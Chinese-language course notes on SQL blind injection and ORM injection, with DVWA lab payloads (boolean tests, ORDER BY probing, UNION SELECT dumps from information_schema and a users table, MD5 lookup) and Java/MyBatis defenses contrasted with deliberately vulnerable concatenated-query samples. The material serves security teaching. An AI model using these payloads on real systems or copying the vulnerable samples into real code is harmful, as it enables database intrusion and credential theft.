课程笔记：SQL盲注与ORM注入攻击及防护

课程名称：计算机网络应用 核心摘要：本讲围绕 SQL 盲注展开，讲解在服务器无错误回显场景下如何通过构造布尔条件"投石问路"式验证注入点，并演示利用 UNION SELECT、ORDER BY、information_schema 逐步拆解数据库（库名、表名、用户名密码）的全过程；随后对比 MyBatis 中 #{} 与 ${}、Hibernate HQL 拼接、JDBC Statement 与 PreparedStatement 的差异，给出参数化查询/预编译的防护方案。

一、 核心概念与原理

1.1 盲注（Blind SQL Injection）

  • 定义：在服务器没有错误回显的情况下完成的 SQL 注入攻击。服务器既不返回错误信息，也不直接告诉攻击者注入是否成功，攻击者缺少有用的调试信息。
  • 核心思想：投石问路 —— 如同盲人扔石头探路，通过构造带条件的 SQL 语句，根据返回页面/结果集的变化（有结果或无结果）来反推注入语句是否被执行，从而判断漏洞是否存在。
  • 验证思路：
    • 构造恒真条件 → 若页面正常显示结果 → 注入成功；
    • 构造恒假条件 → 若页面无结果 → 同样证明注入成功（说明条件被带入执行）。

1.2 拆解数据库

  • 含义：在确认 SQL 注入漏洞存在后，通过盲注/联合查询等手段一步一步获取数据库更详细的信息（列数、库名、版本、表名、字段、用户名与密码等）。

1.3 ORM 注入

  • 误区：使用了 ORM 框架（如 Hibernate、MyBatis、JPA）就一定不会被注入。
  • 事实：ORM 框架的部分 API 确实能防注入，但只要自定义了带拼接的 SQL/HQL 语句，依然存在 SQL 注入风险。核心防护本质是预编译 + 参数绑定，实现"代码与数据分离"。

二、 技术细节与协议分析

2.1 盲注类型对比

盲注类型判别依据常用函数/构造适用场景
布尔盲注（Boolean-based）页面返回"有结果/无结果"两种状态' and 1=1 #、' and 1=2 #页面有真/假两种回显（本讲演示）
时间盲注（Time-based）页面响应时间长短（无任何回显）if(条件, sleep(5), 0)、sleep()页面无真假回显，只能靠延时判断
联合查询注入（UNION-based）直接在页面回显位输出数据union select ...有显示位、列数可推测（本讲用于拆库）

2.2 布尔盲注验证步骤（DVWA 靶场演示）

后台推测 SQL（PHP 拼接）：

SELECT 列名 FROM 表 WHERE id = '$用户输入'
输入内容含义预期结果结论
1' and 1=1 #闭合引号 + 恒真条件 + 注释后续正常显示数据注入成功
1' and 1=2 #闭合引号 + 恒假条件 + 注释后续显示"不存在"注入成功（条件被带入执行）

关键点：' 用于闭合原 SQL 的前半段；#（或 -- ）用于注释掉后面多余的引号；1=1 恒真、1=2 恒假用于制造可观察的结果差异。

2.3 拆解数据库五步法

步骤目标构造语句获得信息
① 判断列数推测结果集列数1' order by 1 # → order by 2 # → order by 3 #order by 3 报"未知列" → 共 2 列
② 联合查询取库信息获取当前库名与用户1' union select database(), user() #库名 dvwa，用户 dvwa@localhost
③ 取版本与系统信息获取数据库版本、操作系统1' union select version(), @@version_compile_os #MySQL 5.1.41，OS Win64/Linux
④ 取表名列出当前库的所有表1' union select table_name, table_schema from information_schema.tables where table_schema='dvwa' #得到 guestbook、users 两张表
⑤ 取用户名密码拖取 users 表数据1' union select user, password from users #得到 admin、1337 等 6 个用户及密码密文

关键内置资源：

  • information_schema：MySQL 自带元数据库，存储所有库/表/列/权限信息。
  • information_schema.tables 表：含字段 table_name（表名）、table_schema（所属库名）。
  • 常用函数：database()（当前库名）、user()（当前用户）、version()（数据库版本）、@@version_compile_os（编译操作系统）。

2.4 密码密文分析

  • 拖出的密码为固定 32 位字符串 → 推测使用 MD5 加密。
  • 若 MD5 未加盐（salt） 且未多次加密 → 可到 MD5 解密网站（如 cmd5）尝试反查。
    • 示例：admin 密文反查结果为 admin；某用户密文反查为 letmein。
  • 现实提示：该步骤较理想化，现代系统普遍对 MD5 加盐/多次加密，反查难度大幅上升。

三、 实践应用与配置命令

3.1 易出现 SQL 注入的位置

  • 查询数据库时带参数/条件且参数由用户录入的接口；
  • MyBatis 的 Mapper 映射文件中拼接 SQL 的位置；
  • Hibernate 中手写 HQL/SQL 涉及字符串拼接的位置；
  • 原生 JDBC 使用 Statement 拼接 SQL 的位置。

3.2 MyBatis 防护：#{} vs ${}

<!-- 推荐：#{} 占位符，会预编译 + 转义，防注入 -->
<select id="login">
    SELECT id, username, password FROM user
    WHERE username = #{username} AND password = #{password}
</select>

<!-- 危险：${} 纯字符串替换，不做转义/预编译，存在注入风险 -->
<select id="loginBad">
    SELECT id, username, password FROM user
    WHERE username = '${username}' AND password = '${password}'
</select>
写法机制是否预编译是否转义安全性
#{}参数占位符（?）是是安全（推荐）
${}原样字符串替换否否危险（仅用于表名/列名等动态结构，禁止用于值）

结论：精准/条件查询一律用 #{}，尽可能避免 ${}。

3.3 Hibernate 防护：参数绑定

// 危险：HQL 字符串拼接，存在注入风险
String hql = "from User where username = '" + username
           + "' and password = '" + password + "'";

// 推荐：命名参数绑定（底层走 JDBC 预编译）
String hql = "from User where username = :username and password = :password";
Query query = session.createQuery(hql);
query.setParameter("username", username);   // 第一个参数绑定
query.setParameter("password", password);   // 第二个参数绑定

// 也可用占位符 ? 按位置绑定
String hql = "from User where username = ? and password = ?";
query.setString(0, username);
query.setString(1, password);

Hibernate 支持 HQL 与原生 SQL，二者最终都转为 SQL，只要涉及拼接就有风险，必须用参数绑定。

3.4 原生 JDBC 防护：PreparedStatement

// 危险：Statement 不预编译，输入即执行
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM user WHERE id = " + id);

// 推荐：PreparedStatement 预编译 + 占位符绑定
PreparedStatement ps = conn.prepareStatement(
    "SELECT id, username, password FROM user WHERE id = ?"
);
ps.setInt(1, Integer.parseInt(id));   // 绑定参数，自动转义
ResultSet rs = ps.executeQuery();

3.5 综合防护方案

  1. 使用**预处理（预编译）**执行 SQL，本质是 PreparedStatement；
  2. 对所有参数变量做参数绑定，而非直接拼接 SQL；
  3. 绑定后用户传入的任何内容都只被当作普通数据，不再被解析为 SQL 代码（代码与数据分离）；
  4. 即便使用 ORM 框架，只要自定义拼接 SQL/HQL，仍需走预编译绑定。

四、 重点与难点提示

  • 盲注本质：无错误回显时，靠"结果集有无变化"判断注入是否成功，是布尔盲注的核心。
  • '、#、-- 三件套：单引号闭合前半段、#/-- 注释后半段，是构造注入语句的通用手法。
  • ORDER BY 探列数：从 1 递增，报错前的最大值即为列数；UNION SELECT 的列数必须与主查询一致。
  • information_schema 是拆库钥匙：通过 tables、columns 等元数据表可层层获取库名→表名→列名→数据。
  • #{} 与 ${} 必考区别：#{} 预编译占位防注入，${} 原样替换有风险——高频面试题。
  • ORM ≠ 绝对安全：框架自带 API 可防注入，但自定义拼接 SQL/HQL 仍会引入注入，切勿因用 ORM 而放松警惕。
  • MD5 加密防护：明文 MD5 易被反查，生产环境必须加盐 + 多次哈希（如 bcrypt、PBKDF2）。
  • 易错点：把联合查询注入误归为"非盲注"；实际上本讲将布尔验证与联合查询拆库作为一套连贯流程演示。

五、 课后疑问/遗留问题

  1. 在页面完全无真假回显、也无显示位时，如何用 sleep() + if() 构造时间盲注？（后续课程可深入）
  2. MyBatis 中 ${} 仅用于动态表名/列名/排序字段时，应如何做白名单校验来规避注入？
  3. 当数据库对 MD5 加盐后，除了彩虹表失效，还有哪些更安全的密码存储方案（bcrypt/Argon2）？
  4. 如何在代码审计阶段快速定位项目中所有 ${} 与 HQL/SQL 拼接点？
  5. WAF、RASP 与预编译参数绑定，三层防护各自的适用边界与局限是什么？
最近更新:
Contributors: yangwenguang